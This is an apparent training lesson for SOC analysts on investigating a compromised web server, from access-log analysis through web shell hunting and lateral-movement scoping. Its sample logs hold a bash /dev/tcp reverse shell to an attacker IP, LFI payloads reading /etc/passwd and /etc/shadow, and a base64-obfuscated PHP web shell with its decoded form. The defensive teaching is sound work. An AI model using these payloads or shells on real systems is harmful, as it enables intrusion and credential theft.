Master web server forensics — reading HTTP access logs to identify attack vectors from LFI to file upload to SQLi, understanding the HTTP response code as the exploitation confirmation signal, correlating web access timestamps with system process logs to prove web shell command execution, hunting all web shell variants, and scoping lateral movement from a compromised DMZ host before containment.
Web Server Compromise Response
A compromised web server is one of the most impactful incidents a SOC handles. Attackers exploit vulnerable web applications, upload web shells, and use the foothold to pivot deeper into the network. The investigation must determine the initial entry point, what the attacker accessed, and whether they moved laterally.
Web server investigations correlate two primary data sources: the web access log (every HTTP request made to the server) and the system log (every process, authentication, and file change). Together they tell the complete story — the access log shows the attacker's requests, the system log confirms which requests caused code execution.
Why Web Server Compromises Are High Impact
A web server sits in a unique network position: it is internet-facing (accessible to attackers) while also having network access to internal systems (databases, application servers, internal APIs). A compromised web server is not just a compromised host — it is a foothold inside the network perimeter with an established internet communication channel. Every web server compromise must be investigated for lateral movement, because the web server is rarely the attacker's final objective.
The web process user (www-data, apache, nginx) typically has limited OS privileges, but attackers routinely escalate from there via local privilege escalation vulnerabilities, SUID binaries, or sudo misconfigurations found during post-exploitation enumeration.
A web server is like a post office window at the front of a large building — it is designed to face the public, accept incoming requests, and pass them through to internal departments. The access log is the post office's intake ledger, recording every parcel received. A web shell is like a staff member inside who is secretly working for someone outside — they look legitimate, sit at a normal desk, but when they receive a message that contains a hidden instruction, they carry it out and send the results back through the normal mail channel. The forensic job is to find that parcel in the intake ledger, identify which staff member handled it, and trace everywhere that staff member walked after receiving their instructions.
Web Server Investigation Methodology
Step 1 Identify the alert: IDS signature, AV detection, or anomaly in log volume? Step 2 Pull web access logs: find the attack request (SQLi, file upload, LFI, RCE) Step 3 Identify attacker IP and user agent -- trace all their requests across the log Step 4 Check system logs: did the web process spawn unexpected child processes? Step 5 Find dropped files: web shells, backdoors, reverse shell scripts Step 6 Scope lateral movement: did the attacker pivot from the web server inward? Step 7 Contain, remediate, document
Web Server Investigation in Practice
Access logs record every HTTP request. Attack payloads appear in GET parameters, POST bodies, and URL paths. The HTTP response code determines whether exploitation succeeded.
# Normal request: 185.12.44.21 - - [14/May/2026:09:12:01] "GET /index.php?page=home HTTP/1.1" 200 4821 # LFI attack request: 185.12.44.21 - - [14/May/2026:09:14:33] "GET /index.php?page=../../../../etc/passwd HTTP/1.1" 200 2847 # HTTP 200 with non-zero body size = exploitation succeeded # Attacker successfully read /etc/passwd via LFI vulnerability # Note: 404 would mean the traversal failed; 200 confirms data was returned
After finding an upload endpoint, attackers disguise a PHP web shell as an image, upload it, then interact with it via HTTP GET requests with command parameters.
# File upload to /uploads/ endpoint (POST): 185.12.44.21 - - "POST /upload.php HTTP/1.1" 200 47 # Web shell accessed 3 minutes later via GET with cmd parameter: 185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=id HTTP/1.1" 200 38 185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=whoami HTTP/1.1" 200 38 185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=cat+/etc/shadow HTTP/1.1" 200 1892 # Web shell active -- attacker has command execution as www-data # Response size 1892 bytes for /etc/shadow = file contents returned
Cross-reference the web shell access timestamps with system process creation logs. The same time, the same IP, apache spawning /bin/sh — this is the forensic chain of custody linking HTTP request to OS command execution.
# System log at the exact same timestamps as web shell access: 09:17:44 apache2[3291]: spawned child: /bin/sh -c id 09:17:44 apache2[3291]: spawned child: /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1 # Apache spawned bash with a bash TCP reverse shell # Attacker now has a full interactive shell, not just web shell HTTP commands # 185.12.44.21:4444 = C2 server and port. Check firewall logs for this connection.
After establishing a foothold, attackers use the web server as a pivot point to attack internal systems. Always check outbound connections from the web server after the compromise timestamp.
# Network connections from web server after compromise (09:17:44): 09:18:01 webserver → 10.0.0.1:22 SSH connection attempt (failed) 09:18:03 webserver → 10.0.0.5:22 SSH connection ACCEPTED 09:18:45 webserver → 10.0.0.10:3306 MySQL connection attempt # Attacker pivoted from DMZ web server to internal SSH host 10.0.0.5 # 10.0.0.5 is now potentially compromised -- requires its own triage cycle # MySQL on 10.0.0.10 = database server -- check if database was accessed
What You Need to Know
Web Application Attack Vectors — How Attackers Get In
Web server compromises begin with a vulnerability in the web application or its configuration. Understanding the common entry points helps analysts identify the attack request faster when scanning access logs — each vector has a distinct access log signature.
Local File Inclusion (LFI): Path traversal sequences (../) in parameters that load files. In access logs: ?page=../../etc/passwd or URL-encoded variants (%2e%2e%2f). HTTP 200 with body = exploitation confirmed.
SQL Injection: SQL syntax in parameters (UNION SELECT, 1' OR '1'='1, -- comment sequences). Look for URL-encoded quotes (%27), UNION, and error-based payloads in GET params or POST bodies.
Command Injection: OS command characters in parameters (;, |, &, $()). Often seen in ping/hostname/network-related functionality. HTTP 200 with unexpected body size = command output returned.
File Upload / Web Shell: POST to upload endpoint, then GET to the uploaded file with ?cmd= or similar. The uploaded .php/.jsp/.aspx file appearing in server-writable directories is the foothold.
Remote File Inclusion (RFI): ?page=http://attacker.com/shell.txt — the application fetches and executes a remote URL. Requires allow_url_include=on in PHP (disabled by default since PHP 5.2).
Deserialization: Malicious serialised objects in POST bodies or cookies. Signatures vary by framework — look for unusual POST bodies to endpoints that don't normally accept data, and apache/tomcat spawning OS processes afterwards.
HTTP Response Codes as Exploitation Signals
The HTTP response code in the access log is the analyst's first exploitation confirmation signal — before even checking system logs:
- 200 to an attack payload — server processed and returned data. For LFI, this means the file was read. For web shell commands, this means the command executed and output was returned.
- 404 to an attack payload — the targeted resource or traversal path did not resolve. Exploitation likely failed.
- 500 — server error, possibly caused by the payload. May indicate partial exploitation or error-based information disclosure (SQLi error messages).
- 403 — access denied. WAF or filesystem permissions blocked the attempt.
- 200 to a .php file in /uploads/ — a PHP file in an uploads directory is almost always a web shell. Legitimate uploads should not be executable; web servers should never serve .php from upload directories.
Finding Web Shells on the Filesystem
After identifying a web shell via access logs, the full investigation must find all web shells — not just the one that was actively used. Attackers often upload multiple shells with different names, or use file upload vulnerabilities to scatter shells across multiple directories. A single remaining shell after "remediation" means the attacker still has full access.
# Find PHP files in upload/writable directories (should not exist): find /var/www/html/uploads -name "*.php" -o -name "*.phtml" -o -name "*.php5" /var/www/html/uploads/img_5a3f.php (web shell -- confirmed from access log) /var/www/html/uploads/thumbnail.php5 (second shell -- different extension) # Find recently modified PHP files (in the investigation window): find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7 /var/www/html/uploads/img_5a3f.php /var/www/html/include/config.php (modified -- may contain injected backdoor) # Grep for common web shell signatures in all PHP files: grep -rl "eval\|base64_decode\|system\|exec\|passthru\|shell_exec" /var/www/html --include="*.php" # These functions in PHP are legitimate -- look for them combined with user input: # eval($_GET[...]) or system($_POST[...]) = web shell pattern # Check modification times of all web directory files: find /var/www/html -type f -newer /tmp/baseline -ls 2>/dev/null | sort -k8
Web shells are often disguised with innocuous names and encoded to evade simple grep searches. The eval(base64_decode()) pattern is the classic PHP obfuscation technique.
# File found: /var/www/html/uploads/thumbnail_1492.php cat /var/www/html/uploads/thumbnail_1492.php <?php eval(base64_decode('cGFzc3RocnUoJF9HRVRbJ2NtZCdd...')); ?> # Decode the base64 payload to understand what it does: echo 'cGFzc3RocnUoJF9HRVRbJ2NtZCdd...' | base64 -d passthru($_GET['cmd']); # Decoded: passes the 'cmd' GET parameter directly to the OS shell # This is a one-line PHP web shell disguised with base64 encoding # passthru() executes and displays output -- functionally identical to system() # Also check: file extension tricks # .php.jpg -- depends on server misconfiguration to execute # .phtml, .php5, .phar -- alternate extensions that may be executable
Web Server as Pivot — Scoping Internal Compromise
A web server that is part of a DMZ architecture has constrained network access by design — it should only be able to reach specific internal services (database on a named port, application server on a named port) and nothing else. An attacker with shell access on the web server will immediately probe what they can reach from this vantage point. The connections they make define the scope of the lateral movement investigation.
Correlating access log, system log, and network log to build the complete attack timeline from initial LFI reconnaissance through to internal SSH pivot.
--- Access log: reconnaissance phase --- 09:12:01 185.12.44.21 GET /index.php?page=home 200 09:12:44 185.12.44.21 GET /robots.txt 200 09:13:01 185.12.44.21 GET /index.php?page=about 200 # Attacker reading the application, identifying parameters --- Access log: LFI discovery and exploitation --- 09:14:12 185.12.44.21 GET /?page=../../../../etc/passwd 200 09:14:33 185.12.44.21 GET /?page=../../../../etc/shadow 200 (1847 bytes) # /etc/shadow returned -- password hashes exposed --- Access log: file upload and web shell deployment --- 09:15:44 185.12.44.21 POST /upload.php 200 09:18:22 185.12.44.21 GET /uploads/img_5a3f.php?cmd=id 200 09:18:31 185.12.44.21 GET /uploads/img_5a3f.php?cmd=uname+-a 200 09:18:45 185.12.44.21 GET /uploads/img_5a3f.php?cmd=bash+-i+>&+/dev/tcp/185.12.44.21/4444+0>&1 200 --- System log: bash reverse shell spawned --- 09:18:45 apache2 spawned: /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1 --- Network log: lateral movement from web server --- 09:19:03 webserver (10.100.0.10) → db01 (10.0.0.10):3306 ACCEPTED 09:19:41 webserver (10.100.0.10) → app01 (10.0.0.5):22 ACCEPTED # Attacker reached the database server and an internal app server # Both are now potential compromise victims requiring independent triage # Total time: initial request to internal pivot = 7 minutes
LFI to Reverse Shell to Internal Pivot — Full Timeline
Alert origin: WAF fires on LFI pattern at 09:14:12 — GET parameter containing ../../../../etc/passwd from 185.12.44.21. SOC analyst pulls full access log for this IP.
Access log reconstruction: 185.12.44.21 made 3 normal GET requests (reconnaissance), then two LFI requests — /etc/passwd returned (HTTP 200, 2847 bytes) and /etc/shadow returned (HTTP 200, 1847 bytes — password hashes confirmed). Three minutes later: POST to /upload.php (HTTP 200) followed by GET requests to /uploads/img_5a3f.php with cmd parameters — id, uname -a, then a bash reverse shell command.
System log correlation: At 09:18:45, apache2 spawned /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1. Firewall logs confirm an outbound connection from the web server to 185.12.44.21:4444 established at that timestamp and held open for 23 minutes.
Web shell hunt: Find command locates two PHP files in /uploads/: img_5a3f.php and thumbnail_1492.php. The second is base64-encoded but decodes to passthru($_GET['cmd']) — a backup shell. Both removed.
Lateral movement scope: Firewall logs show outbound connections from the web server (10.100.0.10) to db01 (10.0.0.10:3306, accepted) and app01 (10.0.0.5:22, accepted) at 09:19. Both internal hosts require independent triage cycles. Database audit logs checked — SELECT queries on the customers and payments tables during the attack window. Data exfiltration to be assessed.
Containment: Web server network quarantine. Both web shells removed. /etc/shadow hash exposure — all local account passwords reset. app01 and db01 isolated for malware triage. Vulnerability: file upload endpoint had no MIME type validation and the uploads directory was PHP-executable. Fix: validate file type server-side, move uploads outside webroot, deny PHP execution in uploads directory via .htaccess.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — IR07 Web Server Compromise→← Return to all labs